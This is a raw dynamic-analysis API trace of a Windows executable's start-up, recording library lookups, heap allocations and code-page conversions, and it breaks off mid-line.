[0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0096.842] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0096.842] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0096.842] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0096.842] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0096.842] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0096.842] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0096.842] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0096.842] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0096.842] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0096.842] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0096.842] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0096.842] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0096.842] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0096.843] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0096.843] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0096.843] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0096.843] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0096.843] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0096.843] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0096.843] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0096.843] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0096.843] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0096.843] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0096.843] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0096.843] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0096.843] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0096.843] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0096.843] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0096.844] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0096.844] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0096.844] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0096.844] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0096.844] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0096.844] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0096.844] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0096.844] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0096.844] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0096.844] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0096.844] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0096.844] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0096.844] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0096.845] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0096.845] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0096.845] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0096.845] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0096.845] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0096.845] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0096.845] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0096.845] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0096.854] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0096.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xdd37f380, dwHighDateTime=0x1d5d06a)) [0096.854] GetCurrentThreadId () returned 0xda8 [0096.854] GetCurrentProcessId () returned 0xda4 [0096.854] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=23880648824) returned 1 [0096.855] GetProcessHeap () returned 0x270000 [0096.855] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0096.855] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0096.855] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0096.855] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0096.855] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0096.855] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0096.856] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0096.857] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0096.857] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0096.857] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0096.857] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0096.857] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0096.857] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0096.857] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0096.857] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0096.857] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0096.857] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0096.857] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0096.857] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0096.857] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0096.858] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0096.858] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3bc) returned 0x2870b0 [0096.858] GetCurrentThreadId () returned 0xda8 [0096.858] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x18) returned 0x287478 [0096.858] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x800) returned 0x287498 [0096.858] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x5387eb27, hStdError=0x0)) [0096.859] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0096.859] GetFileType (hFile=0x3) returned 0x2 [0097.478] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0097.478] GetFileType (hFile=0x7) returned 0x2 [0097.479] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0097.479] GetFileType (hFile=0xb) returned 0x2 [0097.479] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0097.479] GetEnvironmentStringsW () returned 0x287ca0* [0097.480] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0xb90) returned 0x288838 [0097.480] FreeEnvironmentStringsW (penv=0x287ca0) returned 1 [0097.481] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x94) returned 0x287ca0 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xa0) returned 0x287d40 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3e) returned 0x284de0 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x6c) returned 0x287de8 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x6e) returned 0x287e60 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x78) returned 0x27f910 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x62) returned 0x287ed8 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2e) returned 0x287f48 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x48) returned 0x287f80 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x34) returned 0x287fd0 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x28) returned 0x288010 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1a) returned 0x286a80 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4a) returned 0x288040 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x72) returned 0x27f990 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x30) returned 0x288098 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2e) returned 0x2880d0 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1c) returned 0x286aa8 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xd2) returned 0x288108 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x7c) returned 0x2881e8 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x36) returned 0x288270 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3a) returned 0x284e28 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x90) returned 0x2882b0 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x24) returned 0x288348 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x30) returned 0x288378 [0097.481] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x36) returned 0x2883b0 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x48) returned 0x2883f0 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x52) returned 0x288440 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3c) returned 0x284e70 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x18) returned 0x2884a0 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x82) returned 0x2884c0 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2e) returned 0x288550 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1e) returned 0x286ad0 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2c) returned 0x288588 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x54) returned 0x2885c0 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x52) returned 0x288620 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2a) returned 0x288680 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3c) returned 0x284eb8 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x54) returned 0x2886b8 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x24) returned 0x288718 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x30) returned 0x288748 [0097.482] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x8c) returned 0x288780 [0097.482] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288838 | out: hHeap=0x270000) returned 1 [0097.483] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x800) returned 0x288818 [0097.483] GetLastError () returned 0x0 [0097.483] SetLastError (dwErrCode=0x0) [0097.483] GetLastError () returned 0x0 [0097.483] SetLastError (dwErrCode=0x0) [0097.483] GetLastError () returned 0x0 [0097.483] SetLastError (dwErrCode=0x0) [0097.483] GetACP () returned 0x4e4 [0097.483] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x220) returned 0x289020 [0097.483] GetLastError () returned 0x0 [0097.483] SetLastError (dwErrCode=0x0) [0097.483] IsValidCodePage (CodePage=0x4e4) returned 1 [0097.483] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0097.483] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0097.483] GetLastError () returned 0x0 [0097.483] SetLastError (dwErrCode=0x0) [0097.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0097.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0097.484] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0097.484] GetLastError () returned 0x0 [0097.484] SetLastError (dwErrCode=0x0) [0097.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0097.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0097.484] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0097.484] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0097.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ·ê\x87Säþ\x18", lpUsedDefaultChar=0x0) returned 256 [0097.484] GetLastError () returned 0x0 [0097.484] SetLastError (dwErrCode=0x0) [0097.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0097.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0097.484] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0097.484] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" 